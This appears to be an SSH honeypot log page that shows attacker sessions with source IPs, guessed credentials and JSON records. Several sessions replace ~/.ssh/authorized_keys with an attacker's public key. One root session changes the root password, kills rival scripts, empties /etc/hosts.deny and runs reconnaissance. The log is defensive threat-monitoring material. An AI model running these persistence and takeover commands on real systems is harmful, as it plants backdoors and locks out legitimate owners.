Adversarial Observation Interface

121.227.31.13

2026-07-21 01:49:25.172904 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 073f5510c08b

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "073f5510c08b",
  "src_ip": "121.227.31.13",
  "start_time": "2026-07-21T01:49:25.172904Z",
  "end_time": "2026-07-21T01:51:25.182678Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

60.163.139.198

2026-07-21 01:49:08.196399 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: app

Record ID: 3150a624d22f

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "3150a624d22f",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:49:08.196399Z",
  "end_time": "2026-07-21T01:49:10.108264Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "app",
      "pass": "1234*"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

60.163.139.198

2026-07-21 01:48:51.224157 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: admin / abc!@#123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 8c19d7bf7cea

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "8c19d7bf7cea",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:48:51.224157Z",
  "end_time": "2026-07-21T01:48:52.549706Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "abc!@#123"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

114.67.127.241

2026-07-21 01:48:32.761098 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9cbece599285

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "9cbece599285",
  "src_ip": "114.67.127.241",
  "start_time": "2026-07-21T01:48:32.761098Z",
  "end_time": "2026-07-21T01:50:32.765741Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

60.163.139.198

2026-07-21 01:48:32.216804 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: app

Record ID: 5e6e1c4f9c7c

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "5e6e1c4f9c7c",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:48:32.216804Z",
  "end_time": "2026-07-21T01:48:34.106684Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "app",
      "pass": "123@abc"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

60.163.139.198

2026-07-21 01:48:16.304277 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: jacob

Record ID: 2033a8f89b98

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "2033a8f89b98",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:48:16.304277Z",
  "end_time": "2026-07-21T01:48:18.234659Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "jacob",
      "pass": "admin123!@#"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

121.227.31.13

2026-07-21 01:48:10.443285 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4b40d6eed3dd

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "4b40d6eed3dd",
  "src_ip": "121.227.31.13",
  "start_time": "2026-07-21T01:48:10.443285Z",
  "end_time": "2026-07-21T01:50:10.454443Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

60.163.139.198

2026-07-21 01:47:56.673800 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: postgres / dell-2023

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 6d446af482dc

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "6d446af482dc",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:47:56.673800Z",
  "end_time": "2026-07-21T01:47:57.926717Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "postgres",
    "pass": "dell-2023"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 01:47:38.850247 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: moodle

Record ID: f442a0a3b169

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "f442a0a3b169",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:47:38.850247Z",
  "end_time": "2026-07-21T01:47:40.741132Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "moodle",
      "pass": "abcd.1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

193.26.157.32

2026-07-21 01:47:38.756680 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: user / 3245gs5662d34

Record ID: 9a1a8d83f490

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "9a1a8d83f490",
  "src_ip": "193.26.157.32",
  "start_time": "2026-07-21T01:47:38.756680Z",
  "end_time": "2026-07-21T01:47:39.719538Z",
  "duration": "1.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

193.26.157.32

2026-07-21 01:47:36.661919 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 844c4368bdf5

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "844c4368bdf5",
  "src_ip": "193.26.157.32",
  "start_time": "2026-07-21T01:47:36.661919Z",
  "end_time": "2026-07-21T01:47:38.607657Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

193.26.157.32

2026-07-21 01:47:34.643422 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: user / 000000

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: d6685b9087a8

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d6685b9087a8",
  "src_ip": "193.26.157.32",
  "start_time": "2026-07-21T01:47:34.643422Z",
  "end_time": "2026-07-21T01:47:39.715698Z",
  "duration": "5.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "000000"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

114.67.127.241

2026-07-21 01:47:30.595197 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6f488a51a535

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "6f488a51a535",
  "src_ip": "114.67.127.241",
  "start_time": "2026-07-21T01:47:30.595197Z",
  "end_time": "2026-07-21T01:49:30.600746Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

60.163.139.198

2026-07-21 01:47:22.225203 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: postgres / 1q2w3e4r!

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 0ee0283670ac

Client Version: SSH-2.0-Go

Engagement Duration: 2.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "0ee0283670ac",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:47:22.225203Z",
  "end_time": "2026-07-21T01:47:24.511871Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "postgres",
    "pass": "1q2w3e4r!"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

121.227.31.13

2026-07-21 01:47:02.022710 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 376b5fb25187

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "376b5fb25187",
  "src_ip": "121.227.31.13",
  "start_time": "2026-07-21T01:47:02.022710Z",
  "end_time": "2026-07-21T01:49:02.027847Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

60.163.139.198

2026-07-21 01:47:01.532909 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / dell@2020

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 2cafb0a0f6f6

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "2cafb0a0f6f6",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:47:01.532909Z",
  "end_time": "2026-07-21T01:47:02.785278Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "dell@2020"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

121.227.31.13

2026-07-21 01:46:58.719670 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 9d3053b72b0c

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 3.1s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "9d3053b72b0c",
  "src_ip": "121.227.31.13",
  "start_time": "2026-07-21T01:46:58.719670Z",
  "end_time": "2026-07-21T01:47:01.780759Z",
  "duration": "3.1",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

121.227.31.13

2026-07-21 01:46:55.284249 UTC

SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 340

Credential acceptance event recorded. Target authentication: root / 7ujm8ik,9ol.

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l

[obs-node]:~$ echo "root:fWQXmakFdlLE"|chpasswd|bash

[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

[obs-node]:~$ ls -lh $(which ls)

[obs-node]:~$ which ls

[obs-node]:~$ crontab -l

[obs-node]:~$ w

[obs-node]:~$ uname -m

[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l

[obs-node]:~$ top

[obs-node]:~$ uname

[obs-node]:~$ uname -a

[obs-node]:~$ whoami

[obs-node]:~$ lscpu | grep Model

[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

Record ID: 7b83d295d102

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 25.8s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "7b83d295d102",
  "src_ip": "121.227.31.13",
  "start_time": "2026-07-21T01:46:55.284249Z",
  "end_time": "2026-07-21T01:47:21.103960Z",
  "duration": "25.8",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "7ujm8ik,9ol."
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:fWQXmakFdlLE\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:fWQXmakFdlLE\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 340,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}

60.163.139.198

2026-07-21 01:46:43.075112 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: redis

Record ID: c4eea6aead13

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "c4eea6aead13",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:46:43.075112Z",
  "end_time": "2026-07-21T01:46:44.944825Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "redis",
      "pass": "1q2w#E"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

114.67.127.241

2026-07-21 01:46:27.123758 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 683d024f2d97

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "683d024f2d97",
  "src_ip": "114.67.127.241",
  "start_time": "2026-07-21T01:46:27.123758Z",
  "end_time": "2026-07-21T01:48:27.129534Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

60.163.139.198

2026-07-21 01:46:25.329974 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: redis

Record ID: abc13b92aec2

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "abc13b92aec2",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:46:25.329974Z",
  "end_time": "2026-07-21T01:46:27.214209Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "redis",
      "pass": "redis@2021"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

60.163.139.198

2026-07-21 01:46:07.250533 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: jenkins

Record ID: 2989c99a0c74

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "2989c99a0c74",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:46:07.250533Z",
  "end_time": "2026-07-21T01:46:09.144366Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "jenkins",
      "pass": "123456@123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

60.163.139.198

2026-07-21 01:45:49.729751 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 123456a?

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 68d1851502f1

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "68d1851502f1",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:45:49.729751Z",
  "end_time": "2026-07-21T01:45:50.972659Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "123456a?"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

121.227.31.13

2026-07-21 01:45:40.423394 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d493bb188947

